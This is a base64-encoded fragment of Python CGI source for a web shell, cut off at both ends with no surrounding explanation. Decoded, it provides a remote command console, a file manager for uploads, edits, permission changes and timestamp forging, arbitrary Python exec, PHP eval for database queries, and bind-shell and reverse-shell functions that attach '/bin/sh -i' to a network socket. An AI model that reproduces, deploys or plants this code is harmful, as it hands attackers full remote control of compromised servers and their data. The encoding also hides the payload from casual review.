J3gnCiAgICBlbHNlOgogICAgICAgIGlmIHAgJiAweDA0MDA6IGkgKz0gJ1MnCiAgICAgICAgZWxzZTogaSArPSAnLScKICAgIGlmIHAgJiAweDAwMDQ6IGkgKz0gJ3InCiAgICBlbHNlOiBpICs9ICctJwogICAgaWYgcCAmIDB4MDAwMjogaSArPSAndycKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiAgcCAmIDB4MDAwMToKICAgICAgICBpZiBwICYgMHgwMjAwOiBpICs9ICd0JwogICAgICAgIGVsc2U6IGkgKz0gJ3gnCiAgICBlbHNlOgogICAgICAgIGlmIHAgJiAweDAyMDA6IGkgKz0gJ1QnCiAgICAgICAgZWxzZTogaSArPSAnLScKCiAgICByZXR1cm4gaTsKCmRlZiBwZXJtc0NvbG9yKHBhdGgpOgogICAgaWYgbm90IG9zLmFjY2VzcyAocGF0aCwgb3MuUl9PSyk6CiAgICAgICAgcmV0dXJuICI8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+IitwZXJtcyhwYXRoKSsiPC9mb250PiIKICAgIGVsaWYgb3MuYWNjZXNzIChwYXRoLCBvcy5XX09LKToKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPScjMDBCQjAwJz4iK3Blcm1zKHBhdGgpKyI8L2ZvbnQ+IgogICAgZWxzZToKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPSd3aGl0ZSc+IitwZXJtcyhwYXRoKSsiPC9mb250PiIKCmRlZiBhY3Rpb25Db25zb2xlKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBwcmludCAiPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBwcmludCAiIiI8Zm9ybSBuYW1lPSJjZiIgb25TdWJtaXQ9ImcobnVsbCwgbnVsbCwgdGhpcy5jbWQudmFsdWUpO3JldHVybiBmYWxzZTsiIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMwMGFmY2Y7YmFja2dyb3VuZC1jb2xvcjojNTU1OyI+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgc3R5bGU9ImJvcmRlcjowcHg7IiByZWFkb25seT4iIiIKICAgIGlmIGxlbihfUkVRVUVTVFsncDEnXSkgPiAwOgogICAgICAgIHByaW50ICckJywgY2dpLmVzY2FwZShfUkVRVUVTVFsncDEnXSkKICAgICAgICBwcmludCBjZ2kuZXNjYXBlKGNvbW1hbmRzLmdldG91dHB1dChfUkVRVUVTVFsncDEnXSkpCgogICAgcHJpbnQgJzwvdGV4dGFyZWE+PHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXI6MHB4O3dpZHRoOjEwMCU7Ij48L3RkPjwvdHI+PC90YWJsZT4nCiAgICBwcmludCAiPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZG9jdW1lbnQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvbkZpbGVzKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBpZiBfUkVRVUVTVFsncDEnXSA9PSAndXBsb2FkRmlsZSc6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBpZiBfRklMRVNbJ2YnXS5maWxlbmFtZToKICAgICAgICAgICAgICAgIGZuID0gb3MucGF0aC5iYXNlbmFtZShfRklMRVNbJ2YnXS5maWxlbmFtZSkKICAgICAgICAgICAgICAgIG9wZW4oZm4sICd3YicpLndyaXRlKF9GSUxFU1snZiddLmZpbGUucmVhZCgpKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgaWYgX1JFUVVFU1RbJ3AxJ10gPT0gJ21rZGlyJzoKICAgICAgICB0cnk6IG9zLm1rZGlyKF9SRVFVRVNUWydwMiddKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgcHJpbnQgIjxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBpdGVtX3N0YXQgPSBvcy5sc3RhdCgnLi4nKQoKICAgIGRlZiBkaXJJdGVtSW5mbyhuYW1lLCBpdGVtX3N0YXQpOgogICAgICAgIGlmIFNfSVNMTksoaXRlbV9zdGF0W1NUX01PREVdKToKICAgICAgICAgICAgdHlwZSA9ICJsaW5rIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHR5cGUgPSAiZGlyIgogICAgICAgIHRtcCA9IHsKICAgICAgICAgICAgICAgICduYW1lJyAgOiBuYW1lLAogICAgICAgICAgICAgICAgJ3BhdGgnICA6IG9zLnBhdGguam9pbihjd2QsIG5hbWUpLAogICAgICAgICAgICAgICAgJ3NpemUnICA6IHZpZXdTaXplKGl0ZW1fc3RhdFtTVF9TSVpFXSksCiAgICAgICAgICAgICAgICAnbXRpbWUnIDogZGF0ZXRpbWUuZnJvbXRpbWVzdGFtcChpdGVtX3N0YXRbU1RfTVRJTUVdKS5zdHJmdGltZSgiJVktJW0tJWQgJUg6JU06JVMiKSwKICAgICAgICAgICAgICAgICd1aWQnICAgOiBzdHIoaXRlbV9zdGF0W1NUX1VJRF0pLAogICAgICAgICAgICAgICAgJ2dpZCcgICA6IHN0cihpdGVtX3N0YXRbU1RfR0lEXSksCiAgICAgICAgICAgICAgICAncGVybXMnIDogcGVybXNDb2xvcihuYW1lKSwKICAgICAgICAgICAgICAgICd0eXBlJyAgOiB0eXBlCiAgICAgICAgICAgICAgfQogICAgICAgIHJldHVybiB0bXAKICAgIGRpcnMgPSBbZGlySXRlbUluZm8oJy4uJywgb3MubHN0YXQoJy4uJykpXQogICAgZmlsZXMgPSBbXQoKICAgIGZvciBpdGVtIGluIG9zLmxpc3RkaXIoY3dkKToKICAgICAgICBpdGVtX3N0YXQgPSBvcy5sc3RhdChpdGVtKQogICAgICAgIG1vZGUgPSBpdGVtX3N0YXRbU1RfTU9ERV0KICAgICAgICB0bXAgPSBkaXJJdGVtSW5mbyhpdGVtLCBpdGVtX3N0YXQpCiAgICAgICAgaWYgU19JU0xOSyhtb2RlKSBvciBTX0lTRElSKG1vZGUpOgogICAgICAgICAgICBkaXJzLmFwcGVuZCh0bXApCiAgICAgICAgZWxpZiBTX0lTUkVHKG1vZGUpOgogICAgICAgICAgICBmaWxlcy5hcHBlbmQodG1wKQoKICAgIHByaW50ICI8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPjxmb3JtIG1ldGhvZD0ncG9zdCc+IgogICAgcHJpbnQgIiIiPHRyPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiIiIjsKICAgIAogICAgZGVmIHNvcnQoYSwgYik6CiAgICAgICAgcmV0dXJuIGNtcChhWyduYW1lJ10ubG93ZXIoKSwgYlsnbmFtZSddLmxvd2VyKCkpCgogICAgbGluZSA9IDAKICAgIGZvciBpdGVtIGluIHNvcnRlZChkaXJzLCBzb3J0KToKICAgICAgICBwcmludCAiPHRyIgogICAgICAgIGlmIGxpbmU6CiAgICAgICAgICAgIHByaW50ICIgY2xhc3M9bDEiCiAgICAgICAgcHJpbnQgIj48dGQ+PGEgaHJlZj0nIycgb25jbGljaz0nZyhudWxsLFwiIitlc2NhcGUoaXRlbVsncGF0aCddKSsiXCIpJz48Yj5bICIrY2dpLmVzY2FwZShpdGVtWyduYW1lJ10pKyIgXTwvYj48L2E+PC90ZD48dGQ+IitpdGVtWyd0eXBlJ10rIjwvdGQ+PHRkPiIraXRlbVsnbXRpbWUnXSsiPC90ZD48dGQ+IitpdGVtWyd1aWQnXSsiLyIraXRlbVsnZ2lkJ10rIjwvdGQ+PHRkPjxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdjaG1vZCcpXCI+IitpdGVtWydwZXJtcyddKyI8L2E+PC90ZD4iCiAgICAgICAgcHJpbnQgIjx0ZD48YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29scycsIG51bGwsICciK2VzY2FwZShpdGVtWyduYW1lJ10pKyInLCAncmVuYW1lJylcIj5SPC9hPiA8YSBocmVmPSMgb25jbGljaz1cImcoJ2ZpbGVUb29scycsIG51bGwsICciK2VzY2FwZShpdGVtWyduYW1lJ10pKyInLCAndG91Y2gnKVwiPlQ8L2E+PC90ZD48L3RyPiIKICAgICAgICBsaW5lID0gKGxpbmUgKyAxKSUyCiAgICBmb3IgaXRlbSBpbiBzb3J0ZWQoZmlsZXMsIHNvcnQpOgogICAgICAgIHByaW50ICI8dHIiCiAgICAgICAgaWYgbGluZToKICAgICAgICAgICAgcHJpbnQgIiBjbGFzcz1sMSIKICAgICAgICBwcmludCAiPjx0ZD48YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiZmlsZVRvb2xzXCIsbnVsbCxcIiIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIlwiKSc+IitjZ2kuZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIjwvYT48L3RkPjx0ZD4iK2l0ZW1bJ3NpemUnXSsiPC90ZD48dGQ+IitpdGVtWydtdGltZSddKyI8L3RkPjx0ZD4iK2l0ZW1bJ3VpZCddKyIvIitpdGVtWydnaWQnXSsiPC90ZD48dGQ+PGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsncGF0aCddKSsiJywgJ2NobW9kJylcIj4iK2l0ZW1bJ3Blcm1zJ10rIjwvYT48L3RkPiIKICAgICAgICBwcmludCAiPHRkPjxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdyZW5hbWUnKVwiPlI8L2E+IDxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICd0b3VjaCcpXCI+VDwvYT4gPGEgaHJlZj0jIG9uY2xpY2s9XCJnKCdmaWxlVG9vbHMnLCBudWxsLCAnIitlc2NhcGUoaXRlbVsnbmFtZSddKSsiJywgJ2VkaXQnKVwiPkU8L2E+IDxhIGhyZWY9IyBvbmNsaWNrPVwiZygnZmlsZVRvb2xzJywgbnVsbCwgJyIrZXNjYXBlKGl0ZW1bJ25hbWUnXSkrIicsICdkb3dubG9hZCcpXCI+RDwvYT48L3RkPjwvdHI+IgogICAgICAgIGxpbmUgPSAobGluZSArIDEpJTIKCiAgICBwcmludCAiPC9mb3JtPjwvdGFibGU+PC9kaXY+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvbkZpbGVUb29scygpOgogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gIiI6CiAgICAgICAgX1JFUVVFU1RbJ3AyJ10gPSAidmlldyIKICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJkb3dubG9hZCI6CiAgICAgICAgcHJpbnQgIkNvbnRlbnQtRGlzcG9zaXRpb246IGF0dGFjaG1lbnQ7IGZpbGVuYW1lPSIgKyBvcy5wYXRoLmJhc2VuYW1lKF9SRVFVRVNUWydwMSddKSArICJcbiIKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3JiJykKICAgICAgICAgICAgZm9yIHggaW4gZnAucmVhZGxpbmVzKCk6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKHgpCiAgICAgICAgICAgIGZwLmNsb3NlKCkKICAgICAgICBleGNlcHQ6IHBhc3MKICAgICAgICByZXR1cm4KICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJzYXZlIjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3cnKQogICAgICAgICAgICBmcC53cml0ZShfUkVRVUVTVFsncDMnXSkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgICAgIF9SRVFVRVNUWydwMiddID0gJ2VkaXQnCiAgICBwcmludEhlYWRlcigpCiAgICBwcmludCAiPGgxPkZpbGUgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBpdGVtX3N0YXQgPSBvcy5zdGF0KF9SRVFVRVNUWydwMSddKQogICAgcHJpbnQgIjxzcGFuPkZpbGU6IDwvc3Bhbj4iICsgb3MucGF0aC5iYXNlbmFtZShfUkVRVUVTVFsncDEnXSkgKyAiIDxzcGFuPlNpemU6IDwvc3Bhbj4gIiArdmlld1NpemUoaXRlbV9zdGF0W1NUX1NJWkVdKSArICIgPHNwYW4+UGVybWlzc2lvbjo8L3NwYW4+ICIgK3Blcm1zQ29sb3IoX1JFUVVFU1RbJ3AxJ10pCiAgICBwcmludCAiPGJyLz4iCiAgICBpZiBTX0lTRElSKGl0ZW1fc3RhdFtTVF9NT0RFXSk6CiAgICAgICAgbWVudSA9IFsnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJ10KICAgIGVsc2U6CiAgICAgICAgbWVudSA9IFsnVmlldycsICdEb3dubG9hZCcsICdFZGl0JywgJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCddCiAgICBmb3IgeCBpbiBtZW51OgogICAgICAgIHByaW50ICI8YSBocmVmPSMgb25jbGljaz1cImcobnVsbCwgbnVsbCwgbnVsbCwgJyIreC5sb3dlcigpKyInKVwiPiIKICAgICAgICBpZiB4Lmxvd2VyKCkgPT0gX1JFUVVFU1RbJ3AyJ106CiAgICAgICAgICAgIHByaW50ICI8Yj5bICIgKyB4ICsgIiBdPC9iPiIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCB4CiAgICAgICAgcHJpbnQgIjwvYT4gIgogICAgcHJpbnQgIjxicj48YnI+IjsKICAgIGlmIF9SRVFVRVNUWydwMiddID09ICJ2aWV3IjoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGZwID0gb3BlbihfUkVRVUVTVFsncDEnXSwgJ3InKQogICAgICAgICAgICBwcmludCAiPHByZSBjbGFzcz1tbDE+IgogICAgICAgICAgICBmb3IgeCBpbiBmcC5yZWFkbGluZXMoKToKICAgICAgICAgICAgICAgIHN5cy5zdGRvdXQud3JpdGUoY2dpLmVzY2FwZSh4KSkKICAgICAgICAgICAgZnAuY2xvc2UoKQogICAgICAgICAgICBwcmludCAiPC9wcmU+IgogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgIkNhbid0IG9wZW4gZmlsZSEgIitfUkVRVUVTVFsncDEnXQogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gImVkaXQiOgogICAgICAgIHRyeToKICAgICAgICAgICAgZnAgPSBvcGVuKF9SRVFVRVNUWydwMSddLCAncicpCiAgICAgICAgICAgIHByaW50ICI8Zm9ybSBvbnN1Ym1pdD1cImcobnVsbCxudWxsLCciK2VzY2FwZShfUkVRVUVTVFsncDEnXSkrIicsICdzYXZlJywgdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7XCI+PHRleHRhcmVhIG5hbWU9ZiBjbGFzcz1iaWdhcmVhPiIKICAgICAgICAgICAgZm9yIHggaW4gZnAucmVhZGxpbmVzKCk6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGNnaS5lc2NhcGUoeCkpCiAgICAgICAgICAgIGZwLmNsb3NlKCkKICAgICAgICAgICAgcHJpbnQgIjwvdGV4dGFyZWE+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyZndDsmZ3Q7Jz48L2Zvcm0+IgogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcHJpbnQgIkNhbid0IG9wZW4gKGNyZWF0ZSkgZmlsZSEgIitfUkVRVUVTVFsncDEnXQogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gImNobW9kIjoKICAgICAgICBpbXBvcnQgc3RhdCwgc3RyaW5nCiAgICAgICAgaWYgbGVuKF9SRVFVRVNUWydwMyddKToKICAgICAgICAgICAgcGVybSA9IHN0cmluZy5hdG9pKF9SRVFVRVNUWydwMyddLCA4KQogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5jaG1vZChfUkVRVUVTVFsncDEnXSwgcGVybSkKICAgICAgICAgICAgICAgIHByaW50ICJEb25lIgogICAgICAgICAgICBleGNlcHQ6IHByaW50ICJGYWlsISIKICAgICAgICBwcmludCAiPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsbnVsbCwnIitlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pKyInLCAnY2htb2QnLCB0aGlzLnAudmFsdWUpO3JldHVybiBmYWxzZTtcIj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncCcgdmFsdWU9JyIKICAgICAgICBwcmludCAiJW8iICUgc3RhdC5TX0lNT0RFKG9zLnN0YXQoX1JFUVVFU1RbJ3AxJ10pW1NUX01PREVdKQogICAgICAgIHByaW50ICInLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT4iCiAgICBpZiBfUkVRVUVTVFsncDInXSA9PSAicmVuYW1lIjoKICAgICAgICBpZiBsZW4oX1JFUVVFU1RbJ3AzJ10pOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBvcy5yZW5hbWUoX1JFUVVFU1RbJ3AxJ10sIF9SRVFVRVNUWydwMyddKQogICAgICAgICAgICAgICAgX1JFUVVFU1RbJ3AxJ10gPSBfUkVRVUVTVFsncDMnXQogICAgICAgICAgICAgICAgcHJpbnQgIkRvbmU8c2NyaXB0PnAyXz0nIiArIGVzY2FwZShfUkVRVUVTVFsncDMnXSkgKyAiJzwvc2NyaXB0PiIKICAgICAgICAgICAgZXhjZXB0OiBwcmludCAiRmFpbCEiCiAgICAgICAgcHJpbnQgIjxmb3JtIG9uc3VibWl0PVwiZyhudWxsLG51bGwsJyIrZXNjYXBlKF9SRVFVRVNUWydwMSddKSsiJywgJ3JlbmFtZScsIHRoaXMubi52YWx1ZSk7cmV0dXJuIGZhbHNlO1wiPjxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSduJyB2YWx1ZT0nIiArIGVzY2FwZShfUkVRVUVTVFsncDEnXSkrICInLz48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nJmd0OyZndDsnPjwvZm9ybT4iCgogICAgaWYgX1JFUVVFU1RbJ3AyJ10gPT0gInRvdWNoIjoKICAgICAgICBpZiBsZW4oX1JFUVVFU1RbJ3AzJ10pOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICB0bXN0bXAgPSB0aW1lLm1rdGltZSh0aW1lLnN0cnB0aW1lKF9SRVFVRVNUWydwMyddLCAiJVktJW0tJWQgJUg6JU06JVMiKSkKICAgICAgICAgICAgICAgIG9zLnV0aW1lKF9SRVFVRVNUWydwMSddLCAodG1zdG1wLCB0bXN0bXApKQogICAgICAgICAgICAgICAgaXRlbV9zdGF0ID0gb3Muc3RhdChfUkVRVUVTVFsncDEnXSkKICAgICAgICAgICAgICAgIHByaW50ICJEb25lIgogICAgICAgICAgICBleGNlcHQ6IHByaW50ICJGYWlsISIKICAgICAgICBwcmludCAiPGZvcm0gb25zdWJtaXQ9XCJnKG51bGwsbnVsbCwnIitlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pKyInLCAndG91Y2gnLCB0aGlzLm4udmFsdWUpO3JldHVybiBmYWxzZTtcIj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nbicgdmFsdWU9JyIKICAgICAgICBwcmludCBkYXRldGltZS5mcm9tdGltZXN0YW1wKGl0ZW1fc3RhdFtTVF9NVElNRV0pLnN0cmZ0aW1lKCIlWS0lbS0lZCAlSDolTTolUyIpCiAgICAgICAgcHJpbnQgIicvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPScmZ3Q7Jmd0Oyc+PC9mb3JtPiIKCiAgICBwcmludCAiPC9kaXY+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvblB5dGhvbigpOgogICAgcHJpbnRIZWFkZXIoKQogICAgcHJpbnQgIjxoMT5FeGVjIHB5dGhvbiBjb2RlPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+IgogICAgcHJpbnQgIiIiPGZvcm0gbmFtZT0iY2YiIG9uU3VibWl0PSJnKG51bGwsIG51bGwsIHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1jPiIiIgogICAgcHJpbnQgJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+JwogICAgaWYgbGVuKF9SRVFVRVNUWydwMSddKSA+IDA6CiAgICAgICAgcHJpbnQgJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4OyI+JwogICAgICAgIHRyeToKICAgICAgICAgICAgaW1wb3J0IFN0cmluZ0lPCiAgICAgICAgICAgIG9sZF9zdGRvdXQgPSBzeXMuc3Rkb3V0CiAgICAgICAgICAgIHN5cy5zdGRvdXQgPSBTdHJpbmdJTy5TdHJpbmdJTygpCiAgICAgICAgICAgIGV4ZWMoX1JFUVVFU1RbJ3AxJ10pCiAgICAgICAgICAgIGRhdGEgPSBzeXMuc3Rkb3V0LmdldHZhbHVlKCkKICAgICAgICAgICAgc3lzLnN0ZG91dCA9IG9sZF9zdGRvdXQKICAgICAgICAgICAgcHJpbnQgY2dpLmVzY2FwZShkYXRhKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgcGFzcwogICAgICAgIHByaW50ICc8L3ByZT4nCiAgICBwcmludCAiPC9mb3JtPjwvZGl2PiIKICAgIHByaW50Rm9vdGVyKCkKCmRlZiBhY3Rpb25TUUwoKToKICAgIHByaW50SGVhZGVyKCkKICAgIHRoZXBocCA9ICcnJwokdXNlciA9ICJMT0xVU0VSRlVDSyI7JHBhc3N3b3JkID0gIkxPTFBBU1NGVUNLIjsgJGhvc3QgPSAiTE9MSE9TVEZVQ0siOyAkZGIgPSAiTE9MREJGVUNLIjsgbXlzcWxfY29ubmVjdCgkaG9zdCwkdXNlciwkcGFzc3dvcmQpOyAkcXVlcnkgPSAiTE9MUVVFUllGVUNLIjsgbXlzcWxfc2VsZWN0X2RiKCRkYik7ICRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOyAgd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQsIE1ZU1FMX05VTSkpIHsgZm9yKCRpID0gMDskaTxjb3VudCgkcm93KTskaSsrKSB7IGVjaG8gJHJvd1skaV0uJzxicj4nO30gfQonJycKICAgIGlmIF9SRVFVRVNULmhhc19rZXkoJ2RiJyk6CiAgICAgICAgcHJpbnQgIiIiPGgxPlNRTDwvaDE+PGRpdiBjbGFzcz1jb250ZW50PgogICAgPGZvcm0gbmFtZT0nbmZwJyBtZXRob2Q9J3Bvc3QnPgoJPHNwYW4+UnVuIFNRTDwvc3Bhbj48YnIvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nc3FsJz4KCUhvc3Q6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdob3N0JyB2YWx1ZT0nIiIiK19SRVFVRVNUWydob3N0J10rIiIiJz5EYXRhYmFzZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RiJyB2YWx1ZT0nIiIiK19SRVFVRVNUWydkYiddKyIiIic+IFVzZXI6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd1c2VyJyB2YWx1ZT0nIiIiK19SRVFVRVNUWyd1c2VyJ10rIiIiJz4gUGFzczogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3Bhc3MnIHZhbHVlPSciIiIrX1JFUVVFU1RbJ3Bhc3MnXSsiIiInPiBRdWVyeTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3F1ZXJ5JyB2YWx1ZT0nIiIiK19SRVFVRVNUWydxdWVyeSddKyIiIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+Cgk8L2Zvcm0+PGJyPjwvZGl2PiIiIgogICAgZWxzZToKICAgICAgICBwcmludCAiIiI8aDE+U1FMPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+CiAgICA8Zm9ybSBuYW1lPSduZnAnIG1ldGhvZD0ncG9zdCc+Cgk8c3Bhbj5SdW4gU1FMPC9zcGFuPjxici8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2EnIHZhbHVlPSdzcWwnPgoJSG9zdDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2hvc3QnIHZhbHVlPSdsb2NhbGhvc3QnPiBEYXRhYmFzZTogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2RiJyB2YWx1ZT0nbXlzcWwnPiBVc2VyOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ndXNlcicgdmFsdWU9J3Jvb3QnPiBQYXNzOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncGFzcycgdmFsdWU9J2RvbmdzJz4gUXVlcnk6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdxdWVyeScgdmFsdWU9J3Nob3cgZGF0YWJhc2VzJz48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij4KCTwvZm9ybT48YnI+PC9kaXY+IiIiCiAgICBpZiBfUkVRVUVTVC5oYXNfa2V5KCdkYicpOgogICAgICAgIHRoZXBocCA9IHRoZXBocC5yZXBsYWNlKCJMT0xVU0VSRlVDSyIsIF9SRVFVRVNUWyd1c2VyJ10pLnJlcGxhY2UoIkxPTFBBU1NGVUNLIiwgX1JFUVVFU1RbJ3Bhc3MnXSkucmVwbGFjZSgiTE9MUVVFUllGVUNLIiwgX1JFUVVFU1RbJ3F1ZXJ5J10pLnJlcGxhY2UoIkxPTERCRlVDSyIsIF9SRVFVRVNUWydkYiddKS5yZXBsYWNlKCJMT0xIT1NURlVDSyIsIF9SRVFVRVNUWydob3N0J10pCiAgICAgICAgdGhlcGhwID0gYjY0ZW5jb2RlKHRoZXBocCkgIyBjYXVzZSBmdWNrIGVzY2FwaW5nIHNoaXQKICAgICAgICB0aGVwaHAgPSAnXCIlc1wiJyAlIHRoZXBocAogICAgICAgIHByaW50IGNvbW1hbmRzLmdldG91dHB1dCgiZWNobyAnPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKCIrdGhlcGhwKyIpKTsgPz4nIHwgcGhwIikucmVwbGFjZSgiXG4iLCI8YnI+IikKICAgIHByaW50Rm9vdGVyKCkKCmRlZiBhY3Rpb25OZXR3b3JrKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBpZiBfUkVRVUVTVFsncDEnXSAhPSAiIjoKICAgICAgICBzb2NrPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsIHNvY2tldC5TT0NLX1NUUkVBTSkKICAgICAgICBzb2NrLnNldHRpbWVvdXQoMTApCiAgICBpZiBfUkVRVUVTVFsncDEnXSA9PSAiYnAiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5iaW5kKCgnbG9jYWxob3N0JywgaW50KF9SRVFVRVNUWydwMiddKSkpCiAgICAgICAgICAgIHNvY2subGlzdGVuKDApCiAgICAgICAgZXhjZXB0OgogICAgICAgICAgICBwcmludCAiZXJyb3IiCiAgICAgICAgZWxzZToKICAgICAgICAgICAgcHJpbnQgImRvbmUiCiAgICAgICAgaWYgb3MuZm9yaygpIT0wOgogICAgICAgICAgICAoYyxhZGRyKT1zb2NrLmFjY2VwdCgpCiAgICAgICAgICAgIG9zLmR1cDIoYy5maWxlbm8oKSwgMCkKICAgICAgICAgICAgb3MuZHVwMihjLmZpbGVubygpLCAxKQogICAgICAgICAgICBvcy5kdXAyKGMuZmlsZW5vKCksIDIpCiAgICAgICAgICAgIG9zLnN5c3RlbSgnL2Jpbi9zaCAtaScpCiAgICAgICAgICAgIGMuc2h1dGRvd24oMikKICAgICAgICAgICAgc29jay5zaHV0ZG93bigyKQogICAgZWxpZiBfUkVRVUVTVFsncDEnXSA9PSAiYmMiOgogICAgICAgIHRyeToKICAgICAgICAgICAgc29jay5jb25uZWN0KCAoX1JFUVVFU1RbJ3AyJ10sIGludChfUkVRVUVTVFsncDMnXSkpICkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIHByaW50ICJlcnJvciIKICAgICAgICBlbHNlOgogICAgICAgICAgICBwcmludCAiZG9uZSIKICAgICAgICAgICAgaWYgb3MuZm9yaygpIT0wOgogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAxKQogICAgICAgICAgICAgICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQogICAgICAgICAgICAgICAgb3Muc3lzdGVtKCcvYml